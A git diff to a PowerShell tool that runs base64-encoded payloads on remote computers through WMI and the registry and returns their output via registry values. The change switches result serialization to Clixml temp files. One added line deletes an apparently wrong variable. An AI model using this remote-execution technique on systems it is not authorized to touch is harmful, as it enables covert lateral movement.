@@ -265,7 +265,7 @@ the output of your payload back. :P
265265 }
266266
267267 $PowerShellPath = $Result.sValue
268- Write-Verbose " Full PowerShell path: $PowerShellPath "
268+ Write-Verbose " [ $Computer ] Full PowerShell path: $PowerShellPath "
269269
270270 $EncodedPayload = [Convert ]::ToBase64String([Text.Encoding ]::Unicode.GetBytes($Payload ))
271271
@@ -296,11 +296,18 @@ the output of your payload back. :P
296296 if (($Result.ReturnValue -eq 0 ) -and ($Result.sValue )) {
297297 $Payload = [Text.Encoding ]::Unicode.GetString([Convert ]::FromBase64String($Result.sValue ))
298298
299- $SerilizedPayloadResult = Invoke-Expression ($Payload ) | % {
300- [Management.Automation.PSSerializer ]::Serialize($_ , 4 )
301- }
299+ $TempSerializedResultPath = [IO.Path ]::GetTempFileName()
300+
301+ $PayloadResult = Invoke-Expression ($Payload )
302+
303+ Export-Clixml - InputObject $PayloadResult - Path $TempSerializedResultPath
304+
305+ $SerilizedPayloadText = [IO.File ]::ReadAllText($TempSerializedResultPath )
306+
307+ $null = Invoke-WmiMethod @WmiMethodArgs - Name ' SetStringValue' - ArgumentList $Hive , $RegistryKeyPath , $SerilizedPayloadText , $RegistryResultValueName
308+
309+ Remove-Item - Path $SerilizedPayloadResult - Force
302310
303- $null = Invoke-WmiMethod @WmiMethodArgs - Name ' SetStringValue' - ArgumentList $Hive , $RegistryKeyPath , $SerilizedPayloadResult , $RegistryResultValueName
304311 $null = Invoke-WmiMethod @WmiMethodArgs - Name ' DeleteValue' - ArgumentList $Hive , $RegistryKeyPath , $RegistryPayloadValueName
305312 }
306313 }
@@ -329,7 +336,13 @@ the output of your payload back. :P
329336 Write-Verbose " [$Computer ] Payload results successfully retrieved from: $RegistryHive \$RegistryKeyPath \$RegistryResultValueName "
330337
331338 $SerilizedPayloadResult = $Result.sValue
332- $PayloadResult = [Management.Automation.PSSerializer ]::Deserialize($SerilizedPayloadResult )
339+
340+ $TempSerializedResultPath = [IO.Path ]::GetTempFileName()
341+
342+ Out-File - InputObject $SerilizedPayloadResult - FilePath $TempSerializedResultPath
343+ $PayloadResult = Import-Clixml - Path $TempSerializedResultPath
344+
345+ Remove-Item - Path $TempSerializedResultPath
333346
334347 $FinalResult = New-Object PSObject - Property @ {
335348 PSComputerName = $Computer
0 commit comments